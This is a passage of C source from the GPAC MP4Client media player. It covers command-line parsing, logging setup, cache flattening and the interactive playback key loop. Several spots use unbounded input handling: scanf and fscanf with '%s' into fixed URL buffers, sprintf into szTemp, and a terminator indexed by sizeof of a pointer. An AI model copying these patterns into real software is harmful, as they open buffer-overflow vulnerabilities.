else { if (log_time_start) { u64 now = gf_sys_clock_high_res(); fprintf(logs, "At "LLD" (diff %d) - ", now - log_time_start, (u32) (now - last_log_time) ); last_log_time = now; } if (log_utc_time) { u64 utc_clock = gf_net_get_utc() ; time_t secs = utc_clock/1000; struct tm t; t = *gmtime(&secs); fprintf(logs, "UTC %d-%02d-%02dT%02d:%02d:%02dZ (TS "LLU") - ", 1900+t.tm_year, t.tm_mon+1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec, utc_clock); } vfprintf(logs, fmt, list); fflush(logs); } } static void init_rti_logs(char *rti_file, char *url, Bool use_rtix) { if (rti_logs) gf_fclose(rti_logs); rti_logs = gf_fopen(rti_file, "wt"); if (rti_logs) { fprintf(rti_logs, "!! GPAC RunTime Info "); if (url) fprintf(rti_logs, "for file %s", url); fprintf(rti_logs, " !!\n"); fprintf(rti_logs, "SysTime(ms)\tSceneTime(ms)\tCPU\tFPS\tMemory(kB)\tObservation\n"); /*turn on RTI loging*/ if (use_rtix) { gf_log_set_callback(NULL, on_gpac_log); gf_log_set_tool_level(GF_LOG_RTI, GF_LOG_DEBUG); GF_LOG(GF_LOG_DEBUG, GF_LOG_RTI, ("[RTI] System state when enabling log\n")); } else if (log_time_start) { log_time_start = gf_sys_clock_high_res(); } } } void set_cfg_option(char *opt_string) { char *sep, *sep2, szSec[1024], szKey[1024], szVal[1024]; sep = strchr(opt_string, ':'); if (!sep) { fprintf(stderr, "Badly formatted option %s - expected Section:Name=Value\n", opt_string); return; } { const size_t sepIdx = sep - opt_string; if (sepIdx >= sizeof(szSec)) { fprintf(stderr, "Badly formatted option %s - Section name is too long\n", opt_string); return; } strncpy(szSec, opt_string, sepIdx); szSec[sepIdx] = 0; } sep ++; sep2 = strchr(sep, '='); if (!sep2) { fprintf(stderr, "Badly formatted option %s - expected Section:Name=Value\n", opt_string); return; } { const size_t sepIdx = sep2 - sep; if (sepIdx >= sizeof(szKey)) { fprintf(stderr, "Badly formatted option %s - key name is too long\n", opt_string); return; } strncpy(szKey, sep, sepIdx); szKey[sepIdx] = 0; if (strlen(sep2 + 1) >= sizeof(szVal)) { fprintf(stderr, "Badly formatted option %s - value is too long\n", opt_string); return; } strcpy(szVal, sep2+1); } if (!stricmp(szKey, "*")) { if (stricmp(szVal, "null")) { fprintf(stderr, "Badly formatted option %s - expected Section:*=null\n", opt_string); return; } gf_cfg_del_section(cfg_file, szSec); return; } if (!stricmp(szVal, "null")) { szVal[0]=0; } gf_cfg_set_key(cfg_file, szSec, szKey, szVal[0] ? szVal : NULL); } Bool revert_cache_file(void *cbck, char *item_name, char *item_path, GF_FileEnumInfo *file_info) { const char *url; char *sep; GF_Config *cached; if (strncmp(item_name, "gpac_cache_", 11)) return GF_FALSE; cached = gf_cfg_new(NULL, item_path); url = gf_cfg_get_key(cached, "cache", "url"); if (url) url = strstr(url, "://"); if (url) { u32 i, len, dir_len=0, k=0; char *dst_name; sep = strstr(item_path, "gpac_cache_"); if (sep) { sep[0] = 0; dir_len = (u32) strlen(item_path); sep[0] = 'g'; } url+=3; len = (u32) strlen(url); dst_name = gf_malloc(len+dir_len+1); memset(dst_name, 0, len+dir_len+1); strncpy(dst_name, item_path, dir_len); k=dir_len; for (i=0; i<len; i++) { dst_name[k] = url[i]; if (dst_name[k]==':') dst_name[k]='_'; else if (dst_name[k]=='/') { if (!gf_dir_exists(dst_name)) gf_mkdir(dst_name); } k++; } sep = strrchr(item_path, '.'); if (sep) { sep[0]=0; if (gf_file_exists(item_path)) { gf_move_file(item_path, dst_name); } sep[0]='.'; } gf_free(dst_name); } gf_cfg_del(cached); gf_delete_file(item_path); return GF_FALSE; } void do_flatten_cache(const char *cache_dir) { gf_enum_directory(cache_dir, GF_FALSE, revert_cache_file, NULL, "*.txt"); } #ifdef WIN32 #include <wincon.h> #endif static void progress_quiet(const void *cbck, const char *title, u64 done, u64 total) { } int mp4client_main(int argc, char **argv) { char c; const char *str; int ret_val = 0; u32 i, times[100], nb_times, dump_mode; u32 simulation_time_in_ms = 0; u32 initial_service_id = 0; Bool auto_exit = GF_FALSE; Bool logs_set = GF_FALSE; Bool start_fs = GF_FALSE; Bool use_rtix = GF_FALSE; Bool pause_at_first = GF_FALSE; Bool no_cfg_save = GF_FALSE; Bool is_cfg_only = GF_FALSE; Double play_from = 0; #ifdef GPAC_MEMORY_TRACKING GF_MemTrackerType mem_track = GF_MemTrackerNone; #endif Double fps = GF_IMPORT_DEFAULT_FPS; Bool fill_ar, visible, do_uncache, has_command; char *url_arg, *out_arg, *the_cfg, *rti_file, *views, *mosaic; FILE *logfile = NULL; Float scale = 1; #ifndef WIN32 dlopen(NULL, RTLD_NOW|RTLD_GLOBAL); #endif /*by default use current dir*/ strcpy(the_url, "."); memset(&user, 0, sizeof(GF_User)); dump_mode = DUMP_NONE; fill_ar = visible = do_uncache = has_command = GF_FALSE; url_arg = out_arg = the_cfg = rti_file = views = mosaic = NULL; nb_times = 0; times[0] = 0; /*first locate config file if specified*/ for (i=1; i<(u32) argc; i++) { char *arg = argv[i]; if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) { the_cfg = argv[i+1]; i++; } else if (!strcmp(arg, "-mem-track") || !strcmp(arg, "-mem-track-stack")) { #ifdef GPAC_MEMORY_TRACKING mem_track = !strcmp(arg, "-mem-track-stack") ? GF_MemTrackerBackTrace : GF_MemTrackerSimple; #else fprintf(stderr, "WARNING - GPAC not compiled with Memory Tracker - ignoring \"%s\"\n", arg); #endif } else if (!strcmp(arg, "-gui")) { gui_mode = 1; } else if (!strcmp(arg, "-guid")) { gui_mode = 2; } else if (!strcmp(arg, "-h") || !strcmp(arg, "-help")) { PrintUsage(); return 0; } } #ifdef GPAC_MEMORY_TRACKING gf_sys_init(mem_track); #else gf_sys_init(GF_MemTrackerNone); #endif gf_sys_set_args(argc, (const char **) argv); cfg_file = gf_cfg_init(the_cfg, NULL); if (!cfg_file) { fprintf(stderr, "Error: Configuration File not found\n"); return 1; } /*if logs are specified, use them*/ if (gf_log_set_tools_levels( gf_cfg_get_key(cfg_file, "General", "Logs") ) != GF_OK) { return 1; } if( gf_cfg_get_key(cfg_file, "General", "Logs") != NULL ) { logs_set = GF_TRUE; } if (!gui_mode) { str = gf_cfg_get_key(cfg_file, "General", "ForceGUI"); if (str && !strcmp(str, "yes")) gui_mode = 1; } for (i=1; i<(u32) argc; i++) { char *arg = argv[i]; if (!strcmp(arg, "-rti")) { rti_file = argv[i+1]; i++; } else if (!strcmp(arg, "-rtix")) { rti_file = argv[i+1]; i++; use_rtix = GF_TRUE; } else if (!stricmp(arg, "-size")) { /*usage of %ud breaks sscanf on MSVC*/ if (sscanf(argv[i+1], "%dx%d", &forced_width, &forced_height) != 2) { forced_width = forced_height = 0; } i++; } else if (!strcmp(arg, "-quiet")) { be_quiet = 1; } else if (!strcmp(arg, "-strict-error")) { gf_log_set_strict_error(1); } else if (!strcmp(arg, "-log-file") || !strcmp(arg, "-lf")) { logfile = gf_fopen(argv[i+1], "wt"); gf_log_set_callback(logfile, on_gpac_log); i++; } else if (!strcmp(arg, "-logs") ) { if (gf_log_set_tools_levels(argv[i+1]) != GF_OK) { return 1; } logs_set = GF_TRUE; i++; } else if (!strcmp(arg, "-log-clock") || !strcmp(arg, "-lc")) { log_time_start = 1; } else if (!strcmp(arg, "-log-utc") || !strcmp(arg, "-lu")) { log_utc_time = 1; } #if defined(__DARWIN__) || defined(__APPLE__) else if (!strcmp(arg, "-thread")) threading_flags = 0; #else else if (!strcmp(arg, "-no-thread")) threading_flags = GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_WINDOW_NO_THREAD; #endif else if (!strcmp(arg, "-no-cthread") || !strcmp(arg, "-no-compositor-thread")) threading_flags |= GF_TERM_NO_COMPOSITOR_THREAD; else if (!strcmp(arg, "-no-audio")) no_audio = 1; else if (!strcmp(arg, "-no-regulation")) no_regulation = 1; else if (!strcmp(arg, "-fs")) start_fs = 1; else if (!strcmp(arg, "-opt")) { set_cfg_option(argv[i+1]); i++; } else if (!strcmp(arg, "-conf")) { set_cfg_option(argv[i+1]); is_cfg_only=GF_TRUE; i++; } else if (!strcmp(arg, "-ifce")) { gf_cfg_set_key(cfg_file, "Network", "DefaultMCastInterface", argv[i+1]); i++; } else if (!stricmp(arg, "-help")) { PrintUsage(); return 1; } else if (!stricmp(arg, "-noprog")) { no_prog=1; gf_set_progress_callback(NULL, progress_quiet); } else if (!stricmp(arg, "-no-save") || !stricmp(arg, "--no-save") /*old versions used --n-save ...*/) { no_cfg_save=1; } else if (!stricmp(arg, "-ntp-shift")) { s32 shift = atoi(argv[i+1]); i++; gf_net_set_ntp_shift(shift); } else if (!stricmp(arg, "-run-for")) { simulation_time_in_ms = atoi(argv[i+1]) * 1000; if (!simulation_time_in_ms) simulation_time_in_ms = 1; /*1ms*/ i++; } else if (!strcmp(arg, "-out")) { out_arg = argv[i+1]; i++; } else if (!stricmp(arg, "-fps")) { fps = atof(argv[i+1]); i++; } else if (!strcmp(arg, "-avi") || !strcmp(arg, "-sha")) { dump_mode &= 0xFFFF0000; if (!strcmp(arg, "-sha")) dump_mode |= DUMP_SHA1; else dump_mode |= DUMP_AVI; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) { if (!strcmp(arg, "-avi") && (nb_times!=2) ) { fprintf(stderr, "Only one time arg found for -avi - check usage\n"); return 1; } i++; } } else if (!strcmp(arg, "-rgbds")) { /*get dump in rgbds pixel format*/ dump_mode |= DUMP_RGB_DEPTH_SHAPE; } else if (!strcmp(arg, "-rgbd")) { /*get dump in rgbd pixel format*/ dump_mode |= DUMP_RGB_DEPTH; } else if (!strcmp(arg, "-depth")) { dump_mode |= DUMP_DEPTH_ONLY; } else if (!strcmp(arg, "-bmp")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_BMP; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!strcmp(arg, "-png")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_PNG; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!strcmp(arg, "-raw")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_RAW; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!stricmp(arg, "-scale")) { sscanf(argv[i+1], "%f", &scale); i++; } else if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) { /* already parsed */ i++; } /*arguments only used in non-gui mode*/ if (!gui_mode) { if (arg[0] != '-') { if (url_arg) { fprintf(stderr, "Several input URLs provided (\"%s\", \"%s\"). Check your command-line.\n", url_arg, arg); return 1; } url_arg = arg; } else if (!strcmp(arg, "-loop")) loop_at_end = 1; else if (!strcmp(arg, "-bench")) bench_mode = 1; else if (!strcmp(arg, "-vbench")) bench_mode = 2; else if (!strcmp(arg, "-sbench")) bench_mode = 3; else if (!strcmp(arg, "-no-addon")) enable_add_ons = GF_FALSE; else if (!strcmp(arg, "-pause")) pause_at_first = 1; else if (!strcmp(arg, "-play-from")) { play_from = atof((const char *) argv[i+1]); i++; } else if (!strcmp(arg, "-speed")) { playback_speed = FLT2FIX( atof((const char *) argv[i+1]) ); if (playback_speed <= 0) playback_speed = FIX_ONE; i++; } else if (!strcmp(arg, "-no-wnd")) user.init_flags |= GF_TERM_WINDOWLESS; else if (!strcmp(arg, "-no-back")) user.init_flags |= GF_TERM_WINDOW_TRANSPARENT; else if (!strcmp(arg, "-align")) { if (argv[i+1][0]=='m') align_mode = 1; else if (argv[i+1][0]=='b') align_mode = 2; align_mode <<= 8; if (argv[i+1][1]=='m') align_mode |= 1; else if (argv[i+1][1]=='r') align_mode |= 2; i++; } else if (!strcmp(arg, "-fill")) { fill_ar = GF_TRUE; } else if (!strcmp(arg, "-show")) { visible = 1; } else if (!strcmp(arg, "-uncache")) { do_uncache = GF_TRUE; } else if (!strcmp(arg, "-exit")) auto_exit = GF_TRUE; else if (!stricmp(arg, "-views")) { views = argv[i+1]; i++; } else if (!stricmp(arg, "-mosaic")) { mosaic = argv[i+1]; i++; } else if (!stricmp(arg, "-com")) { has_command = GF_TRUE; i++; } else if (!stricmp(arg, "-service")) { initial_service_id = atoi(argv[i+1]); i++; } } } if (is_cfg_only) { gf_cfg_del(cfg_file); fprintf(stderr, "GPAC Config updated\n"); return 0; } if (do_uncache) { const char *cache_dir = gf_cfg_get_key(cfg_file, "General", "CacheDirectory"); do_flatten_cache(cache_dir); fprintf(stderr, "GPAC Cache dir %s flattened\n", cache_dir); gf_cfg_del(cfg_file); return 0; } if (dump_mode && !url_arg ) { FILE *test; url_arg = (char *)gf_cfg_get_key(cfg_file, "General", "StartupFile"); test = url_arg ? gf_fopen(url_arg, "rt") : NULL; if (!test) url_arg = NULL; else gf_fclose(test); if (!url_arg) { fprintf(stderr, "Missing argument for dump\n"); PrintUsage(); if (logfile) gf_fclose(logfile); return 1; } } if (!gui_mode && !url_arg && (gf_cfg_get_key(cfg_file, "General", "StartupFile") != NULL)) { gui_mode=1; } #ifdef WIN32 if (gui_mode==1) { const char *opt; TCHAR buffer[1024]; DWORD res = GetCurrentDirectory(1024, buffer); buffer[res] = 0; opt = gf_cfg_get_key(cfg_file, "General", "ModulesDirectory"); if (strstr(opt, buffer)) { gui_mode=1; } else { gui_mode=2; } } #endif if (gui_mode==1) { hide_shell(1); } if (gui_mode) { no_prog=1; gf_set_progress_callback(NULL, progress_quiet); } if (!url_arg && simulation_time_in_ms) simulation_time_in_ms += gf_sys_clock(); #if defined(__DARWIN__) || defined(__APPLE__) carbon_init(); #endif if (dump_mode) rti_file = NULL; if (!logs_set) { gf_log_set_tool_level(GF_LOG_ALL, GF_LOG_WARNING); } //only override default log callback when needed if (rti_file || logfile || log_utc_time || log_time_start) gf_log_set_callback(NULL, on_gpac_log); if (rti_file) init_rti_logs(rti_file, url_arg, use_rtix); { GF_SystemRTInfo rti; if (gf_sys_get_rti(0, &rti, 0)) fprintf(stderr, "System info: %d MB RAM - %d cores\n", (u32) (rti.physical_memory/1024/1024), rti.nb_cores); } /*setup dumping options*/ if (dump_mode) { user.init_flags |= GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_NO_REGULATION; if (!visible) user.init_flags |= GF_TERM_INIT_HIDE; gf_cfg_set_key(cfg_file, "Audio", "DriverName", "Raw Audio Output"); no_cfg_save=GF_TRUE; } else { init_w = forced_width; init_h = forced_height; } user.modules = gf_modules_new(NULL, cfg_file); if (user.modules) i = gf_modules_get_count(user.modules); if (!i || !user.modules) { fprintf(stderr, "Error: no modules found - exiting\n"); if (user.modules) gf_modules_del(user.modules); gf_cfg_del(cfg_file); gf_sys_close(); if (logfile) gf_fclose(logfile); return 1; } fprintf(stderr, "Modules Found : %d \n", i); str = gf_cfg_get_key(cfg_file, "General", "GPACVersion"); if (!str || strcmp(str, GPAC_FULL_VERSION)) { gf_cfg_del_section(cfg_file, "PluginsCache"); gf_cfg_set_key(cfg_file, "General", "GPACVersion", GPAC_FULL_VERSION); } user.config = cfg_file; user.EventProc = GPAC_EventProc; /*dummy in this case (global vars) but MUST be non-NULL*/ user.opaque = user.modules; if (threading_flags) user.init_flags |= threading_flags; if (no_audio) user.init_flags |= GF_TERM_NO_AUDIO; if (no_regulation) user.init_flags |= GF_TERM_NO_REGULATION; if (threading_flags & (GF_TERM_NO_DECODER_THREAD|GF_TERM_NO_COMPOSITOR_THREAD) ) term_step = GF_TRUE; //in dump mode we don't want to rely on system clock but on the number of samples being consumed if (dump_mode) user.init_flags |= GF_TERM_USE_AUDIO_HW_CLOCK; if (bench_mode) { gf_cfg_discard_changes(user.config); auto_exit = GF_TRUE; gf_cfg_set_key(user.config, "Audio", "DriverName", "Raw Audio Output"); if (bench_mode!=2) { gf_cfg_set_key(user.config, "Video", "DriverName", "Raw Video Output"); gf_cfg_set_key(user.config, "RAWVideo", "RawOutput", "null"); gf_cfg_set_key(user.config, "Compositor", "OpenGLMode", "disable"); } else { gf_cfg_set_key(user.config, "Video", "DisableVSync", "yes"); } } { char dim[50]; sprintf(dim, "%d", forced_width); gf_cfg_set_key(user.config, "Compositor", "DefaultWidth", forced_width ? dim : NULL); sprintf(dim, "%d", forced_height); gf_cfg_set_key(user.config, "Compositor", "DefaultHeight", forced_height ? dim : NULL); } fprintf(stderr, "Loading GPAC Terminal\n"); i = gf_sys_clock(); term = gf_term_new(&user); if (!term) { fprintf(stderr, "\nInit error - check you have at least one video out and one rasterizer...\nFound modules:\n"); list_modules(user.modules); gf_modules_del(user.modules); gf_cfg_discard_changes(cfg_file); gf_cfg_del(cfg_file); gf_sys_close(); if (logfile) gf_fclose(logfile); return 1; } fprintf(stderr, "Terminal Loaded in %d ms\n", gf_sys_clock()-i); if (bench_mode) { display_rti = 2; gf_term_set_option(term, GF_OPT_VIDEO_BENCH, (bench_mode==3) ? 2 : 1); if (bench_mode==1) bench_mode=2; } if (dump_mode) { // gf_term_set_option(term, GF_OPT_VISIBLE, 0); if (fill_ar) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); } else { /*check video output*/ str = gf_cfg_get_key(cfg_file, "Video", "DriverName"); if (!bench_mode && !strcmp(str, "Raw Video Output")) fprintf(stderr, "WARNING: using raw output video (memory only) - no display used\n"); /*check audio output*/ str = gf_cfg_get_key(cfg_file, "Audio", "DriverName"); if (!str || !strcmp(str, "No Audio Output Available")) fprintf(stderr, "WARNING: no audio output available - make sure no other program is locking the sound card\n"); str = gf_cfg_get_key(cfg_file, "General", "NoMIMETypeFetch"); no_mime_check = (str && !stricmp(str, "yes")) ? 1 : 0; } str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Enabled"); if (str && !strcmp(str, "yes")) { str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Name"); if (str) fprintf(stderr, "HTTP Proxy %s enabled\n", str); } if (rti_file) { str = gf_cfg_get_key(cfg_file, "General", "RTIRefreshPeriod"); if (str) { rti_update_time_ms = atoi(str); } else { gf_cfg_set_key(cfg_file, "General", "RTIRefreshPeriod", "200"); } UpdateRTInfo("At GPAC load time\n"); } Run = 1; if (dump_mode) { if (!nb_times) { times[0] = 0; nb_times++; } ret_val = dump_file(url_arg, out_arg, dump_mode, fps, forced_width, forced_height, scale, times, nb_times); Run = 0; } else if (views) { } /*connect if requested*/ else if (!gui_mode && url_arg) { char *ext; if (strlen(url_arg) >= sizeof(the_url)) { fprintf(stderr, "Input url %s is too long, truncating to %d chars.\n", url_arg, (int)(sizeof(the_url) - 1)); strncpy(the_url, url_arg, sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; } else { strcpy(the_url, url_arg); } ext = strrchr(the_url, '.'); if (ext && (!stricmp(ext, ".m3u") || !stricmp(ext, ".pls"))) { GF_Err e = GF_OK; fprintf(stderr, "Opening Playlist %s\n", the_url); strcpy(pl_path, the_url); /*this is not clean, we need to have a plugin handle playlist for ourselves*/ if (!strncmp("http:", the_url, 5)) { GF_DownloadSession *sess = gf_dm_sess_new(term->downloader, the_url, GF_NETIO_SESSION_NOT_THREADED, NULL, NULL, &e); if (sess) { e = gf_dm_sess_process(sess); if (!e) { strncpy(the_url, gf_dm_sess_get_cache_name(sess), sizeof(the_url) - 1); the_url[sizeof(the_cfg) - 1] = 0; } gf_dm_sess_del(sess); } } playlist = e ? NULL : gf_fopen(the_url, "rt"); readonly_playlist = 1; if (playlist) { request_next_playlist_item = GF_TRUE; } else { if (e) fprintf(stderr, "Failed to open playlist %s: %s\n", the_url, gf_error_to_string(e) ); fprintf(stderr, "Hit 'h' for help\n\n"); } } else { fprintf(stderr, "Opening URL %s\n", the_url); if (pause_at_first) fprintf(stderr, "[Status: Paused]\n"); gf_term_connect_from_time(term, the_url, (u64) (play_from*1000), pause_at_first); } } else { fprintf(stderr, "Hit 'h' for help\n\n"); str = gf_cfg_get_key(cfg_file, "General", "StartupFile"); if (str) { strncpy(the_url, "MP4Client "GPAC_FULL_VERSION , sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; gf_term_connect(term, str); startup_file = 1; is_connected = 1; } } if (gui_mode==2) gui_mode=0; if (start_fs) gf_term_set_option(term, GF_OPT_FULLSCREEN, 1); if (views) { char szTemp[4046]; sprintf(szTemp, "views://%s", views); gf_term_connect(term, szTemp); } if (mosaic) { char szTemp[4046]; sprintf(szTemp, "mosaic://%s", mosaic); gf_term_connect(term, szTemp); } if (bench_mode) { rti_update_time_ms = 500; bench_mode_start = gf_sys_clock(); } while (Run) { /*we don't want getchar to block*/ if ((gui_mode==1) || !gf_prompt_has_input()) { if (reload) { reload = 0; gf_term_disconnect(term); gf_term_connect(term, startup_file ? gf_cfg_get_key(cfg_file, "General", "StartupFile") : the_url); } if (restart && gf_term_get_option(term, GF_OPT_IS_OVER)) { restart = 0; gf_term_play_from_time(term, 0, 0); } if (request_next_playlist_item) { c = '\n'; request_next_playlist_item = 0; goto force_input; } if (has_command && is_connected) { has_command = GF_FALSE; for (i=0; i<(u32)argc; i++) { if (!strcmp(argv[i], "-com")) { gf_term_scene_update(term, NULL, argv[i+1]); i++; } } } if (initial_service_id && is_connected) { GF_ObjectManager *root_od = gf_term_get_root_object(term); if (root_od) { gf_term_select_service(term, root_od, initial_service_id); initial_service_id = 0; } } if (!use_rtix || display_rti) UpdateRTInfo(NULL); if (term_step) { gf_term_process_step(term); } else { gf_sleep(rti_update_time_ms); } if (auto_exit && eos_seen && gf_term_get_option(term, GF_OPT_IS_OVER)) { Run = GF_FALSE; } /*sim time*/ if (simulation_time_in_ms && ( (gf_term_get_elapsed_time_in_ms(term)>simulation_time_in_ms) || (!url_arg && gf_sys_clock()>simulation_time_in_ms)) ) { Run = GF_FALSE; } continue; } c = gf_prompt_get_char(); force_input: switch (c) { case 'q': { GF_Event evt; memset(&evt, 0, sizeof(GF_Event)); evt.type = GF_EVENT_QUIT; gf_term_send_event(term, &evt); } // Run = 0; break; case 'X': exit(0); break; case 'Q': break; case 'o': startup_file = 0; gf_term_disconnect(term); fprintf(stderr, "Enter the absolute URL\n"); if (1 > scanf("%s", the_url)) { fprintf(stderr, "Cannot read absolute URL, aborting\n"); break; } if (rti_file) init_rti_logs(rti_file, the_url, use_rtix); gf_term_connect(term, the_url); break; case 'O': gf_term_disconnect(term); fprintf(stderr, "Enter the absolute URL to the playlist\n"); if (1 > scanf("%s", the_url)) { fprintf(stderr, "Cannot read the absolute URL, aborting.\n"); break; } playlist = gf_fopen(the_url, "rt"); if (playlist) { if (1 > fscanf(playlist, "%s", the_url)) { fprintf(stderr, "Cannot read any URL from playlist, aborting.\n"); gf_fclose( playlist); break; } fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect(term, the_url); } break; case '\n': case 'N': if (playlist) { int res; gf_term_disconnect(term); res = fscanf(playlist, "%s", the_url); if ((res == EOF) && loop_at_end) { fseek(playlist, 0, SEEK_SET); res = fscanf(playlist, "%s", the_url); } if (res == EOF) { fprintf(stderr, "No more items - exiting\n"); Run = 0; } else if (the_url[0] == '#') { request_next_playlist_item = GF_TRUE; } else { fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect_with_path(term, the_url, pl_path); } } break; case 'P': if (playlist) { u32 count; gf_term_disconnect(term); if (1 > scanf("%u", &count)) { fprintf(stderr, "Cannot read number, aborting.\n"); break; } while (count) { if (fscanf(playlist, "%s", the_url)) { fprintf(stderr, "Failed to read line, aborting\n"); break; } count--; } fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect(term, the_url); } break; case 'r': if (is_connected) reload = 1; break; case 'D': if (is_connected) gf_term_disconnect(term); break; case 'p': if (is_connected) { Bool is_pause = gf_term_get_option(term, GF_OPT_PLAY_STATE); fprintf(stderr, "[Status: %s]\n", is_pause ? "Playing" : "Paused"); gf_term_set_option(term, GF_OPT_PLAY_STATE, is_pause ? GF_STATE_PLAYING : GF_STATE_PAUSED); } break; case 's': if (is_connected) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_STEP_PAUSE); fprintf(stderr, "Step time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, "\n"); } break; case 'z': case 'T': if (!CanSeek || (Duration<=2000)) { fprintf(stderr, "scene not seekable\n"); } else { Double res; s32 seekTo; fprintf(stderr, "Duration: "); PrintTime(Duration); res = gf_term_get_time_in_ms(term); if (c=='z') { res *= 100; res /= (s64)Duration; fprintf(stderr, " (current %.2f %%)\nEnter Seek percentage:\n", res); if (scanf("%d", &seekTo) == 1) { if (seekTo > 100) seekTo = 100; res = (Double)(s64)Duration; res /= 100; res *= seekTo; gf_term_play_from_time(term, (u64) (s64) res, 0); } } else { u32 r, h, m, s; fprintf(stderr, " - Current Time: "); PrintTime((u64) res); fprintf(stderr, "\nEnter seek time (Format: s, m:s or h:m:s):\n"); h = m = s = 0; r =scanf("%d:%d:%d", &h, &m, &s); if (r==2) { s = m; m = h; h = 0; } else if (r==1) { s = h; m = h = 0; } if (r && (r<=3)) { u64 time = h*3600 + m*60 + s; gf_term_play_from_time(term, time*1000, 0); } } } break; case 't': { if (is_connected) { fprintf(stderr, "Current Time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, " - Duration: "); PrintTime(Duration); fprintf(stderr, "\n"); } } break; case 'w': if (is_connected) PrintWorldInfo(term); break; case 'v': if (is_connected) PrintODList(term, NULL, 0, 0, "Root"); break; case 'i': if (is_connected) { u32 ID; fprintf(stderr, "Enter OD ID (0 for main OD): "); fflush(stderr); if (scanf("%ud", &ID) == 1) { ViewOD(term, ID, (u32)-1, NULL); } else { char str_url[GF_MAX_PATH]; if (scanf("%s", str_url) == 1) ViewOD(term, 0, (u32)-1, str_url); } } break; case 'j': if (is_connected) { u32 num; do { fprintf(stderr, "Enter OD number (0 for main OD): "); fflush(stderr); } while( 1 > scanf("%ud", &num)); ViewOD(term, (u32)-1, num, NULL); } break; case 'b': if (is_connected) ViewODs(term, 1); break; case 'm': if (is_connected) ViewODs(term, 0); break; case 'l': list_modules(user.modules); break; case 'n': if (is_connected) set_navigation(); break; case 'x': if (is_connected) gf_term_set_option(term, GF_OPT_NAVIGATION_TYPE, 0); break; case 'd': if (is_connected) { GF_ObjectManager *odm = NULL; char radname[GF_MAX_PATH], *sExt; GF_Err e; u32 i, count, odid; Bool xml_dump, std_out; radname[0] = 0; do { fprintf(stderr, "Enter Inline OD ID if any or 0 : "); fflush(stderr); } while( 1 > scanf("%ud", &odid)); if (odid) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); if (!root_odm) break; count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { GF_MediaInfo info; odm = gf_term_get_object(term, root_odm, i); if (gf_term_get_object_info(term, odm, &info) == GF_OK) { if (info.od->objectDescriptorID==odid) break; } odm = NULL; } } do { fprintf(stderr, "Enter file radical name (+\'.x\' for XML dumping) - \"std\" for stderr: "); fflush(stderr); } while( 1 > scanf("%s", radname)); sExt = strrchr(radname, '.'); xml_dump = 0; if (sExt) { if (!stricmp(sExt, ".x")) xml_dump = 1; sExt[0] = 0; } std_out = strnicmp(radname, "std", 3) ? 0 : 1; e = gf_term_dump_scene(term, std_out ? NULL : radname, NULL, xml_dump, 0, odm); fprintf(stderr, "Dump done (%s)\n", gf_error_to_string(e)); } break; case 'c': PrintGPACConfig(); break; case '3': { Bool use_3d = !gf_term_get_option(term, GF_OPT_USE_OPENGL); if (gf_term_set_option(term, GF_OPT_USE_OPENGL, use_3d)==GF_OK) { fprintf(stderr, "Using %s for 2D drawing\n", use_3d ? "OpenGL" : "2D rasterizer"); } } break; case 'k': { Bool opt = gf_term_get_option(term, GF_OPT_STRESS_MODE); opt = !opt; fprintf(stderr, "Turning stress mode %s\n", opt ? "on" : "off"); gf_term_set_option(term, GF_OPT_STRESS_MODE, opt); } break; case '4': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_4_3); break; case '5': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_16_9); break; case '6': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); break; case '7': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_KEEP); break; case 'C': switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) { case GF_MEDIA_CACHE_DISABLED: gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_ENABLED); break; case GF_MEDIA_CACHE_ENABLED: gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_DISABLED); break; case GF_MEDIA_CACHE_RUNNING: fprintf(stderr, "Streaming Cache is running - please stop it first\n"); continue; } switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) { case GF_MEDIA_CACHE_ENABLED: fprintf(stderr, "Streaming Cache Enabled\n"); break; case GF_MEDIA_CACHE_DISABLED: fprintf(stderr, "Streaming Cache Disabled\n"); break; case GF_MEDIA_CACHE_RUNNING: fprintf(stderr, "Streaming Cache Running\n"); break; } break; case 'S': case 'A': if (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)==GF_MEDIA_CACHE_RUNNING) { gf_term_set_option(term, GF_OPT_MEDIA_CACHE, (c=='S') ? GF_MEDIA_CACHE_DISABLED : GF_MEDIA_CACHE_DISCARD); fprintf(stderr, "Streaming Cache stopped\n"); } else { fprintf(stderr, "Streaming Cache not running\n"); } break; case 'R': display_rti = !display_rti; ResetCaption(); break; case 'F': if (display_rti) display_rti = 